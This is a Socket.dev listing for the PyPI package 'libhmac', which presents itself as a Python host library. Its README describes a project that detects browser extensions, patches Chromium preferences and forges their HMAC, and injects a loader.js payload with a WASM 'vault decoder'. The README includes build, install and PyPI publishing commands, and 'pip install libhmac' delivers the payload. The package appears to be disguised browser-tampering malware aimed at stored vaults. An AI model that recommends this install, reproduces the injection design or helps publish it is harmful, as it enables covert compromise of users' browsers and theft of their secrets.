🚨 Active Supply Chain Attack:node-ipc Package Compromised.Learn More
Socket
Book a DemoSign in
Socket

libhmac

Package Overview
Dependencies
Maintainers
1
Versions
1
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

libhmac

Python host library

pipPyPI
Version
0.3.0
Maintainers
1

vault-decoder-project

Layout

PathRole
launcher.pyEntry script — detect extensions/hardware, call libhmac
src/libhmac/Pip package — patch, inject payload, Chromium prefs/HMAC
vault-decoder/Rust WASM decoder
vault-ext/Injected script (loader.js) + build.ps1
backup_restore.pyRestore backed-up extensions / prefs

Build and run

build_all.bat
cd dist
set VAULT_PAYLOAD_DIR=%CD%
py -3 -m pip install -r requirements.txt
py -3 launcher.py

build_all.bat stages dist\ with launcher.py, requirements.txt, and payload JS/WASM.

Install libhmac from PyPI

pip install libhmac

Payload ships in the wheel (libhmac/data/). Override with VAULT_PAYLOAD_DIR.

Publish to PyPI

build_all.bat
publish.bat
set TWINE_USERNAME=__token__
set TWINE_PASSWORD=pypi-your-token
py -3 -m twine upload pypi-dist\*

Bump version in pyproject.toml and src/libhmac/__init__.py before each release. See RELEASE.txt for Linux steps.

FAQs

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts